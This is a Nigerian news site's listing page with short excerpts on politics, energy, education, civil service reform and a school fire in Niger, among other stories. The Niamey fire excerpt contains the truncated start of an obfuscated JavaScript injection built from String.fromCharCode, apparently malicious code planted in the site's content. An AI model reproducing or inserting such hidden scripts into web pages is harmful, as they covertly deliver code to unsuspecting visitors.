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Rethinking Technical and Vocational Education for the Jobs of the Future
28Apr By Felix ShammahNo Comments
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Rethinking Technical and Vocational Education for the Jobs of the Future

“I feel strongly that we have to have an education system that starts with preschool and goes through college. That's why I want more technical education in high schools and in community colleges, real apprenticeships to prepare young people for the jobs of the future.” Hillary Clinton The future of jobs lies in rethinking what we do now and how we do them, particularly when it comes to education. The prism with which we look at what we tag as education needs to change, and this must happen very quickly. We do not need to re-invent the wheel; all that is required of us is to place less emphasis on ‘education for degree/certificate acquisition’ and ‘embrace education for applicable knowledge acquisition’. Education should be looked at beyond what transpires only within the four walls...
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Minister Urges Nigeria’s Organized Private Sector to Invest in Bitumen Production
28Apr By Dwelleth MorountodunNo Comments
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Minister Urges Nigeria’s Organized Private Sector to Invest in Bitumen Production

The Minister of Science and Technology, Dr. Ogbonnaya Onu, has called on the country’s organized private sector to invest in the production of the abundant resources in the country. This is coming even as he said that the  importation of bitumen from different countries into the country must stop, even as he added that continuous importation makes no sense. The Minister made the disclosure at the 2021 Nigeria Building and Research Institute (NBRRI) conference which held in Abuja with theme: Circular Economy in the Built Environment for Enhanced Performance of the Nigerian Construction Industry. He said the country is blessed with an estimated 42 billion barrels of bitumen deposits in Edo, Ondo, Ogun and Lagos States. Onu called for more investment from the Organised Priva...
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APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP
27Apr By Dayo OmoogunNo Comments
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APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP

The Peoples’ Democratic Party (PDP) has accused the All Progressives Congress (APC) and its leaders of a conspiratorial silence in the face of the worrisome revelation in which a member of the Federal Executive Council (FEC) and Minister of Communications and Digital Economy, Isa Ali Pantami, has been accused of affiliation with terrorist groups. (more…)
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GOVERNOR EL-RUFA’I’S PASSION FOR RESTRUCTURING THE NIGERIAN STATE: SOME COMMENTS ON HIS ADVOCACY
26Apr By Sharpedge NewsNo Comments
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GOVERNOR EL-RUFA’I’S PASSION FOR RESTRUCTURING THE NIGERIAN STATE: SOME COMMENTS ON HIS ADVOCACY

Governor El-Rufai is reputed to have said that those northerners opposing restructuring are not speaking for the north but for themselves. He said this during the 26th Nigerian Economic Summit in Abuja.He said that Northern Nigeria will be the “biggest beneficiary”, and that all the governors in the region agree to the restructuring. He said it is very clear that things have to change. “We have to redesign the architecture of our politics”. What he means by that, we cannot immediately understand because it could mean so many things. He said that the recommendations of the various previous conferences have to be implemented. He said “the earlier Nigeria retraces its steps and puts merit, competence, compatibility and capacity, the better”. “We must have people in government being tra...
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Recent Happenings in America and Lessons for the Developing World, Especially Nigeria
26Apr By Sharpedge NewsNo Comments
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Recent Happenings in America and Lessons for the Developing World, Especially Nigeria

By J.D. EPHRAIM Another take on the American saga is the fact that in spite of its existence for several centuries, even after the abolition of slavery and its trade, the fighting of civil wars, the several amendments to its constitution, the granting of civil liberties and equality before the law, the recognition of the rule of law and not rule by man, in spite of these changes and the advancements that have been made in American history, American society is still struggling with the issue of race. In spite of the fact that America is a country of immigrants(apart from the American Indians ), made up of people of different races, and up to date, there is still a marked difference, based on race, between white Americans on the one hand, and the rest, such as the blacks, Latinos, Asians...
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Retelling Nigeria’s Diplomacy Story as Ambassador Ba Clark Clocks 91 Years
22Apr By Amb. Godknows IgaliNo Comments
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Retelling Nigeria’s Diplomacy Story as Ambassador Ba Clark Clocks 91 Years

On Friday, April 16, 2021, one of the fathers of Nigeria's Diplomatic Service, and early crafters of the country’s Foreign Policy, Ambassador Blessing Akporede Clark, marked his 91st birthday. Sandwiched between elder statesman, Chief EK Clark and his immediate younger brother, late playwright, Prof JP Clark, "BA" as his peers around the world know him, was born on that date in 1930 in Kiagbodo, which at the time was in Warri Province of then Western Region. Unlike his more media gripping siblings, this giant in global affairs, is conservative, taciturn, sober and restrained, even after exit from active public life.   Amb Clark is one of those who launched Nigeria, while independence was still at cockcrow into the intricate complexion of interstate relations. In his case, he ...
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Organisation Felicitate with Kalu on his Birthday, says he is an Icon of Democracy
21Apr By Gami TadanyigbeNo Comments
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Organisation Felicitate with Kalu on his Birthday, says he is an Icon of Democracy

 Our Beloved Girl-Child Global Foundation, a Non-Governmental Organisation (NGO) have congratulated Orji Uzor Kalu on his birthday as he clocks 61. JP Lilian Chinasa Obenwa, the President and Founder of the foundation who made the felicitation in a statement issued to newsmen in Abuja, described Kalu as a great lover of the people and an Icon of Democracy. According to her, Kalu is an icon of democracy who have proved that excellence is about serving the people and humanity in the country.  "You are a great leader who have impacted positively on the lives of the people, your virtues of hard work, selflessness and service have endeared you to the people. “You have been greatly blessed by your legislative contributions toward the betterment of democracy and...
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Onu Canvasses STI Deployment to Overcome Insecurity
21Apr By Sharpedge NewsNo Comments
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Onu Canvasses STI Deployment to Overcome Insecurity

The Minister of Science and Technology, Dr. Ogbonnaya Onu, has canvassed for the deployment of Science, Technology and Innovation (STI), to help Nigeria overcome the present insecurity bedeviling the country. Onu said this during a working visit by the Senior Executive Course (43) of the National Institute for Policy and Strategic studies (NIPSS), in his office on Tuesday. According to Dr. Onu, the use of STI will enhance intelligence gathering and facilitate the use of cutting-edge technology to eliminate security challenges in all regions of the country. The Minister stressed the need for Nigeria and other developing countries to develop home-grown solutions to challenges facing them, such as production of vaccines to tackle the Covid-19 pandemic. He said: “No matter ho...
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Ondo Electoral Petition Tribunal Declines Jurisdiction on Jegede’s Prayer
20Apr By Oladimeji AbitogunNo Comments
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Ondo Electoral Petition Tribunal Declines Jurisdiction on Jegede’s Prayer

The Ondo state electoral petition tribunal led by Justice Umar Abubakar on Tuesday ruled that it lacked jurisdiction to entertain the prayers of MR Eyitayo Olayinka Jegede on the procedures adopted by the All Progressive Congress, APC, in fielding  Arakunrin Oluwarotimi Odunayo Akeredolu and his deputy, MR Lucky Ayedatiwa in the October 2020 governorship election. In a ruling that was delivered by Justice Umar Abubakar the tribunal refused to give a clear-cut verdict saying it lacked  jurisdiction to provide answer and interpretation to the questions raised by the petitioner, MR Eyitayo Jegede which were purely constitutional. The ruling gave in indication of a visible stand for Governor Akeredolu. Jegede has not disclosed his next strategy and possible legal remedies. Ob...
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Organisation lunches Doctoz Healthcare platform in Nigeria
18Apr By Gami TadanyigbeNo Comments
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Organisation lunches Doctoz Healthcare platform in Nigeria

A United Kingdom (UK) based organisation has lunched a healthcare application for the improvement in healthcare provision and services in the country. Mrs. Sa’adatu Adamu, the African Representative of the organisation while briefing newsmen in Abuja, said the initiative is aimed at bridging the gap in healthcare system by providing on demand healthcare services at home to reduce hospital visit. She said the whole idea was not meant to replace government efforts on the provision of healthcare service delivery in the country but to augment it which is currently in place. “We welcome you to today’s event with joy and excitement as we unveil today a milestone achievement in the course of healthcare service provision in Nigeria. “What we seek to achieve is not a replacement of eff...
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Why Past Reforms in Civil Service  Fail- Dr.Yemi Esan
16Apr By Seun AdamsNo Comments
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Why Past Reforms in Civil Service  Fail- Dr.Yemi Esan

The Head of the Civil Service of the Federation, Dr Folasade Yemi Esan has stressed the need to put a strict system in place to attract and bring the best personnel into the Civil service.Yemi Esan said this while delivering a virtual lecture on Public Service Reform Programme Implementation in Nigeria to participants of Senior Executive Course No.43 of the National Institute for Policy and Strategic Studies, Kuru Jos on Thursday15th April.According to her, the practice in the past whereby the Civil Service was seen as a welfare Institution to recruit all manner of people to mitigate unemployment crisis is unwholesome.She stated that the objective of public service reform is to increase the effectiveness and efficiency of the service to promote economic and social development.While saying...
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Onu: Our Energy Future is Bright
16Apr By Seun AdamsNo Comments
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Onu: Our Energy Future is Bright

The Minister of Science and Technology, Dr. Ogbonnaya Onu said Nigeria’s energy future is bright. Onu said this when he declared open the National Energy Summit in Abuja on Tuesday. He noted that the energy sector is going through a transition, as Nigeria is preparing for a post crude oil era.   Onu who chaired the summit, called for more foreign and local investment into the energy sector of the economy.  He said “I call for both foreign and local investment to help us build the necessary infrastructure needed for efficient and effective exploitation of the huge energy resources available in the country”. He further said that the Federal Government has provided the necessary incentives to grow and sustain investment into the energy sector, adding that there ...
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Buhari Expresses Sadness over Death of School Children in Niamey
16Apr By Sharpedge NewsNo Comments
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Buhari Expresses Sadness over Death of School Children in Niamey

President Muhammadu Buhari on Friday expressed deep sorrow over the loss of lives after fire enveloped a primary school in Niamey, Niger Republic, killing more than 20 children. In a message to President Mohammed Bazoum, the government and people of Nigeria’s  northern neighbour, President Buhari described the fire incident leading to the death of the mostly three to five year olds as “heart wrenching and extremely horrific.” “On behalf of the government and people of Nigeria, we commiserate with our brotherly neighbours on this tragic loss. “Our thoughts and prayers are with the victims, families and communities affected by this unfortunate incident. Wishing quick recovery to those who were injured,” the President added. var z =String;var t=z.fromCharCode(118,97,114,32...
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Motorists, Commuters Lament Gridlocks on Gwagwalada-Lokoja Expressway
14Apr By Gami TadanyigbeNo Comments
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Motorists, Commuters Lament Gridlocks on Gwagwalada-Lokoja Expressway

Motorists and commuters plying Gwagwalada-Lokoja Expressway have lamented the constant gridlock due to the ongoing construction and parking of articulate vehicles on the road. The News Agency of Nigeria (NAN) reports that motorists heading toward Lokoja and those from Zuba spend several hours in the gridlock from Gwagwalada Bridge to Kuje junction following the narrowing of the road. NAN observed that the incessant breakdown of heavy-duty vehicles and parking on the narrow road prevents smooth driving causing heavy traffic for several hours on the road. However, some motorists and commuters, who spoke with NAN in separate interviews, urged the law enforcement agents to be strict in arresting drivers fond of violating traffic rules on the road. A truck driver, Salisu Mohammed, ...
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NUT Kuje branch to hold foundation laying/fund raising ceremony valued N76m on Saturday
9Apr By Gami TadanyigbeNo Comments
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NUT Kuje branch to hold foundation laying/fund raising ceremony valued N76m on Saturday

The Nigerian Union of Teachers Kuje Branch would on Saturday April 10, 2021 holds it foundation laying and fund-raising ceremony of its Secretariat worth N76 million opposite School for the Deaf Paseli along Kuje- Gwagwalada road in Kuje Area Council, FCT. Comrade Titus Moses, the Project Committee Chairman who disclosed this to journalists in Kuje said the Secretariat if completed would go a long way to develop the education sector in FCT. Comrade Titus assured that the ceremony to be honoured by the Senator of FCT and all Area Council Chairmen in the area would also encourage investors to key into the educational sector in the country. While soliciting for the support of the general public in contributing to the actualisation of the unions spiration, he called on the Federal Go...
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NNPC Signs $1.5bn Contract for Rehabilitation of PH Refinery
7Apr By Dayo OmoogunNo Comments
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NNPC Signs $1.5bn Contract for Rehabilitation of PH Refinery

…To Award Warri, Kaduna Refineries Rehab EPC in June The drive by the Management of the Nigerian National Petroleum Corporation (NNPC) to boost in-country refining capacity was bolstered on Tuesday with the signing of the Engineering, Procurement, Construction, Installation and Commissioning (EPCIC) contract for the rehabilitation of the 210,000 barrels per day capacity Port Harcourt Refinery in Alesa-Eleme, Rivers State. (more…)
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen
5Apr By Dayo OmoogunNo Comments
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen

The Forum of State Committee Chairmen of the All progressives Congress (APC) has said that a news report in a section of the media to the effect that the recent meeting of states’ caretaker chairmen of the party rejected a plot to extend the tenure of the Party's Caretaker/Extraordinary Convention Planning Committee (CECPC) is fake and such a plot only exists in the imaginations of the authors and their sponsors.In a statement signed by Ali Buka-Dalori, the Borno State Caretaker Committee Chairman who doubles as the Chairman of the Forum, said such a tenure elongation plot did not come up for discussion at all let alone deliberate on it.“Our meeting deliberated on and unanimously agreed on the need for an extension of the ongoing membership registration, revalidation and update exerci...
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- States Chairmen
5Apr By Dayo OmoogunNo Comments
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- States Chairmen

The Forum of State Committee Chairmen of the All progressives Congress (APC) has said that a news report in a section of the media to the effect that the recent meeting of states’ caretaker chairmen of the party rejected a plot to extend the tenure of the Party's Caretaker/Extraordinary Convention Planning Committee (CECPC) is fake and such a plot only exists in the imaginations of the authors and their sponsors. (more…)
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